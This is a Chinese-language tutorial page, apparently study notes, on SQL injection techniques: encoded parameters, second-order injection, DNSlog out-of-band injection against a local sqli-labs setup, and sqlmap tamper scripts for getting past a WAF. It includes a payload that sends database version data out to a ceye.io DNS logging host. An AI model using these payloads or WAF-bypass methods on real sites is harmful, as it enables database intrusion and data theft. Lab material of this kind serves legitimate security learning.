17、SQL注入之二次、加解密、DNS等注入

news2024/11/25 18:57:05

目录

    • 加解密
    • 二次注入
    • DNSlog注入
    • 涉及资源:
    • 中转注入

加解密

%3D是等号
值在带入数据库之前是有一个解码的操作,明文在解码的时候,就会出现问题,进而影响到语句;密文和明文在一起,这种网站后台是识别不了的;只能通过明文加密,后台在解密,网站才能识别。

当我们判断网站是通过加解密进行数据处理,那我们在注入的时候,也要按照加密模式再去测试注入点

有时候,我们很多注入点找不到或者很多东西看不懂,其实是因为我们掌握的知识点很少,不能去举一反三

加解密注入,第一点,你要能够判定出对方的参数;第二点,对方的加密形式;一般常用的是base64,同样的也可能采取其它的加密方式,如果能解密出来,就能进行下一步,如果解密不出来,那就没办法。

加解密这种东西,不仅仅是在我们的sql注入,在各种漏洞测试里,基本上都有。

一般网站为了安全,会写它自定义的加密算法,如果逆向不出来的话,那就算有注入漏洞,也无法攻击

二次注入

无法通过扫描工具和手工能够测试出来的,二次注入一般会出现在我们的代码审计里面。
在这里插入图片描述
把恶意的SQL语句插入到数据库里面去,网站引用恶意的SQL语句,这就是二次注入漏洞。
在过程中插入数据之后,我们在黑盒测试的时候,关靠扫描工具或人工的去判断,我们是不知道应该插入什么东西,或者说,我们即使知道插入什么东西,我们也不知道如何去触发这个漏洞

二次注入一般是建立在白盒,我们才能分析到,所以这是我们的一个特点,通过扫描工具去发现这是不可能的

二次注入一般产生在数据互联的地方,我们注册一个账号之后,我们需要用这个账号登录,同样的道理,我们可以去修改账号的密码,在这个过程当中会有账号的信息被重复调用,例如用户名

实战情况下,用户名可能会有长度限制,长度限制会有两种情况,一种是前端的长度限制,还有一种是后端的长度限制;如果说限制是后端的,那我们是没办法突破,前端的是可以突破的。
限制是写到html代码里面的,就是前端限制,可以在html代码里面直接改

后端会接受你的用户名,在后端代码里面进行校验,看你的长度有没有超过限制,然后在做处理。
只有去看它后端的数据,有没有长度限制,如果没有的话,就是前端的长度限制
二次注入的危害,不只是爆密码,那只是简单的演示,它的危害跟SQL注入的危害是一样的

二次注入是我们通过扫描工具和人工判断不出来的,扫描工具会把注入语句写到数据库里面来,但是它不会去二次测试这个注入语句会在那个地方测试出来,它不会像人工一样去思考这个问题。扫描工具无非是你展示出来的东西,我去测试一遍,它不会去检测在那里触发

如果有人去写这个工具,那这个工具会很复杂,没有人会去用它,因为大家对扫描工具是要求简单,那样写,任务会更多,明显速度各方面都会下降

没有代码没有这些信息,你是无法去探测到二次注入的,所以二次注入普遍产生在代码层面,不可能是我们扫描工具和人工探测出来的

我们在网上会看到很多文章,我们不要去看文章的表面现象,我们一定要去深入学习这个漏洞之后,发现对我们到底有没有用处;有时候网上的文章是写的很好,没听说过感觉是一个新的理念,但不是这样的

一般大家梳理的漏洞和攻击方式,说明这些漏洞和攻击方式,在实际当中是比较贴近实际应用的,就会吵的火热;如果一个东西,你都没有听说过,脑袋一只半解的,不是说这个漏洞厉害、难懂、难学,更重要的原因是这个漏洞没有多大的用处。

DNSlog注入

注入原理,演示案例,实际应用 (中转注入)
条件:需要对方的注入点是高权限,如果是mysql的话,就是root权限,因为这里会涉及到一个文件读取;dnslog注入需要一个文件读取的操作权限才能进行

我都能进行文件读写的操作了,即使进行了文件读写,你的后门也不一定会写上去。
在后续的渗透测试过程中,我们会发现,你即使后门传上去,不见得就会连上去,因为还会有各种各样的问题,但是这个问题出现的机率也不会很高,我们从后门传上去的脚本,它不解析,传到后门,它也无法连接。所以这个时候,我们还是需要回到注入点去看一下其它的东西。这就是dnslog注入鸡肋的地方,因为它有很多东西都自相矛盾、需要高权限,很多注入点都没有高权限,这个注入就无法应用了。

涉及资源:

http://ceye.io/

注册账号并登录,获取dns地址和API token。我们手工注入只需要用到它。

我们可以根据dns query 来查看访问情况,这个操作是非常复杂的,网上是由一款工具,它仅仅支持DNSlog注入。

https://github.com/ADOOO/DnslogSqlinj

在config文件里面配置一下API token、DNSurl

DNSlog:解决了盲注不能回显数据,效率低的问题。
这个意思告诉我们,盲注有可能也不会有回显,当我们采取盲注的时候,还是不能够获取数据,这个时候dnslog注入就有用处了。

不用再去看网上的文章,有些文章你看了也看不懂,有些看了也是那些东西,不用老想着网上的那些东西

http://127.0.0.1:8080/sqlilabs/less-2/?id=-1 and if((select load_ file(concat('\\\\',(select version()),'.1t7i2f.ceye.io\\abc'))),1,0)--+
D:\Python27\python.exe dnslogSql.py -u "http://127.0.0.1:8080/sqlilabs/Less-9/?id=1' and ({})--+"

注入点的值需要单引号,我们就加一个单引号;需要过滤的就写–+;注入代码写到({})里面来

中转注入

我们把原有的参数值还原,在注入的工具里面,加载一个加密插件,把注入语句用base64加密,SQLmap是有这个东西的。

sqlmap里有一个–tamper这个功能,里面有很多脚本可以用来绕过WAF,如果说里面的脚本满足不了我们的需求,我们可以进行二次开发

中转注入:在注入过程当中,把注入参数中转一下,然后再发送到指定的地址上面去

以后我们碰到加解密注入的时候,如果我们没有插件,我们可以选择开发插件或者采用中转去操作它

在sqlmap里面的tamper插件库,你如果说懂python,二次开发是没有问题的,或者我们自己去写个插件放在里面也可以直接去引用的,比如安全狗的,写个sqldog.py,那就是根据安全狗的绕过规则写个py文件到里面去,我们就可以根据sqlmap对目标进行工具上的注入并且绕过安全狗。这些都是可以放进去实现的,但是前提条件是大家懂这个python,会写。把规则了解清楚,把这些绕过的东西写好,在用python帮我们实现。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/760450.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

P1332 血色先锋队

血色先锋队 题目背景 巫妖王的天灾军团终于卷土重来,血色十字军组织了一支先锋军前往诺森德大陆对抗天灾军团,以及一切沾有亡灵气息的生物。孤立于联盟和部落的血色先锋军很快就遭到了天灾军团的重重包围,现在他们将主力只好聚集了起来&…

银行家算法C语言代码

/*the code simulate blank algorithm to void deadlock*/ /*author:RongGong*/#include<stdio.h> #define MAX_RES_PROC 100//定义银行家算法的数据结构 int M; // 资源的个数 int N; // 进程的个数 int Available[MAX_RES_PROC] {0}; //可利用资源向量 int MaxNeed[MA…

我们如何在 Elasticsearch 8.6、8.7 和 8.8 中加速数据摄入

作者&#xff1a;Adrien Grand, Joe Gallo, Tyler Perkins 正如你们中的一些人已经注意到的&#xff0c;Elasticsearch 8.6、8.7 和 8.8 在各种数据集上带来了良好的索引加速&#xff0c;从简单的关键字到繁重的 KNN 向量&#xff0c;以及摄取管道繁重的摄取工作负载。 摄取涉及…

Grafana_数据可视化工具

目录 一、简介 二、安装部署 1、下载 2、安装 3、启用 三、使用简介 1、添加数据源 2、创建DashBoard 3、查看dashboard 4、选择查看的时间段 5、阈值颜色控制 源码等资料获取方法 一、简介 Grafana是一个跨平台开源的纯html/js编写的度量分析和可视化工具&#x…

Hydra(九头蛇)密码破解工具的详细使用教程

简介 Hydra是⼀款开源的暴⼒密码pojie⼯具&#xff0c;⽀持多种协议密码的破译。 可以对多种服务的账号和密码进行爆破&#xff0c;包括 数据库、SSH、FTP 等服务&#xff0c;在 Kali Linux 中自带 Hydra。有了这个工具就可以很方便的对密码进行破解。 其简单的使用参数如下&a…

【Java从入门到大牛】面向对象进阶上篇

&#x1f525; 本文由 程序喵正在路上 原创&#xff0c;CSDN首发&#xff01; &#x1f496; 系列专栏&#xff1a;Java从入门到大牛 &#x1f320; 首发时间&#xff1a;2023年7月16日 &#x1f98b; 欢迎关注&#x1f5b1;点赞&#x1f44d;收藏&#x1f31f;留言&#x1f43…

Python应用实例(二)数据可视化(二)

数据可视化&#xff08;二&#xff09; 1.随机漫步1.1 创建RandomWalk类1.2 选择方向1.3 绘制随机漫步图1.4 模拟多次随机漫步1.5 设置随机漫步图的样式 1.随机漫步 使用Python来生成随机漫步数据&#xff0c;再使用Matplotlib以引人瞩目的方式将这些数据呈现出来。随机漫步是…

服务器感染了.halo勒索病毒,如何确保数据文件完整恢复?

引言&#xff1a; 随着信息技术的飞速发展&#xff0c;网络安全威胁也日益猖獗&#xff0c;勒索病毒作为其中的一种&#xff0c;给个人和企业带来了巨大的威胁。.halo勒索病毒作为最近出现的一种恶意软件&#xff0c;以其高度复杂的加密算法和迅速的传播方式而备受关注。它通过…

【群智能算法改进】一种改进的猎人猎物优化算法 IHPO算法[1]【Matlab代码#49】

文章目录 【获取资源请见文章第5节&#xff1a;资源获取】1. 原始HPO算法2. 改进后的IHPO算法2.1 Cubic映射初始化2.2 透镜成像折射反向学习2.3 强制切换策略 3. 部分代码展示4. 仿真结果展示5. 资源获取 【获取资源请见文章第5节&#xff1a;资源获取】 1. 原始HPO算法 此算法…

Vue3工程化项目搭建

Vue3工程化项目搭建 源码&#xff1a;vue3-quick-start 预览&#xff1a;vue3-quick-start 一、何为工程化 工程化概述 前端工程化大致可以分为模块化、组件化、规范化和自动化。 规范化 项目目录结构语法提示编码风格规范联调规范文件命名规范代码样式规范git flow 模块…

JS语法学习实战- 流程控制

JS语法学习实战- 流程控制 1. if - else2. switch3. for循环4. while循环5. 更多 JS语法学习实战系列合集 1. if - else if (条件1){条件1成立之后执行的代码 }else if(条件2){条件2成立之后执行的代码 }else{条件不成立之后执行的代码 }2. switch var daynew Date().getDay…

babel兼容低版本游览器

文章目录 1. webpack项目的搭建2. babel 命令行使用3. babel的预设与编译器流程4. babel项目中配置4.1 babel-loader与插件的使用4.2 babel-preset使用 5. 游览器兼容性使用5.1 browserslist工具与编写规则5.2 browserslist配置5.3 优化babel的配置文件 6. polyfill6.1 useBuil…

会声会影 Corel VideoStudio Ultimate 2023 v26.0.0.136 旗舰版百度网盘免费下载

会声会影 Corel VideoStudio Ultimate 2023 v26.0.0.136 旗舰版是一款易于使用&#xff0c;初学者也可以轻使用的&#xff0c;可自定义的 3D 标题、新的面部效果、动画 AR 贴纸、GIF 和摄像机移动过渡&#xff0c;让您轻松、直观地制作最佳视频。探索高级编辑工具&#xff0c;如…

JavaWeb——垃圾回收

目录 一、垃圾回收定义 二、垃圾回收处理内存区域 三、垃圾标记 1、引用计数 &#xff08;1&#xff09;、定义 &#xff08;2&#xff09;、缺陷 2、可达性分析 &#xff08;1&#xff09;、定义 &#xff08;2&#xff09;、缺点 四、垃圾回收过程 1、标记清除 &…

SAP MM 创建双单位采购信息记录

SAP创建不同基本单位的信息记录 1、前台维护MM01 2、ME11维护信息记录 3、通过BAPIBDC实现&#xff1a;ME_INFORECORD_MAINTAIN_MULTIMEK1录屏 因为单独使用ME_INFORECORD_MAINTAIN_MULTI创建信息记录无法创建双单位&#xff0c;创建第一个单位时可以&#xff0c;第二个就会报…

企业邮箱的成本与收费:了解真相,合理选择

企业邮箱的成本对于希望迁移到云端的企业来说可能是一个问题。但这并不一定是必须的。企业邮箱对于今天的企业来说是必不可少的&#xff0c;因为它们提供必要的工具和服务来帮助您与客户、合作伙伴和商业社区保持联系。企业邮箱的收费贵不贵&#xff1f;成本高么&#xff1f; 对…

【Linux】进程间通信 -- 信号量

概念引入为什么要信号量&#xff1f;信号量操作接口1.申请信号量semget2.控制信号量semctl3.处理信号量semop IPC资源的组织方式 概念引入 信号量是什么&#xff1f; 本质是一个计数器&#xff0c;通常用来表示公共资源中&#xff0c;资源数量多少的问题 公共资源&#xff1a…

BUUCTF-JustEscape

目录 信息搜集 bypass 黑名单机制 绕过沙盒执行系统命令 总结 这是一道 Node.js 沙盒逃逸的题目&#xff0c;在此记录一些技巧。 信息搜集 进入题目环境&#xff1a; 直接给出了一个可执行任意代码的入口 /run.php?code<code>&#xff0c;直接复制第二个 demo 的路…

常见安装工具以及命令(工作常用)

dockermongodbnginxredis 1.docker 启动2.docker 安装 MongoDB3.启动nginx4.redis配置&#xff0b;安装4.1 Redis的启动和停止4.2 后台启动方式 1.docker 启动 安装docker # 1.安装gcc和g yum -y install gcc yum -y install gcc-c # 2. 安装需要的软件包 yum install -y yum…

DNS详细解析

文章目录 DNS是什么以及作用下载DNS服务named.conf DNS查询DNS缓存机制解析过程递归查询和迭代查询 DNS服务器的类型DNS域名DNS服务器的类型搭建dns服务器缓存域名服务器主域名服务器从域名服务器排错反向解析 CDN介绍 DNS转发介绍配置 DNS劫持 DNS 是什么以及作用 DNS&#…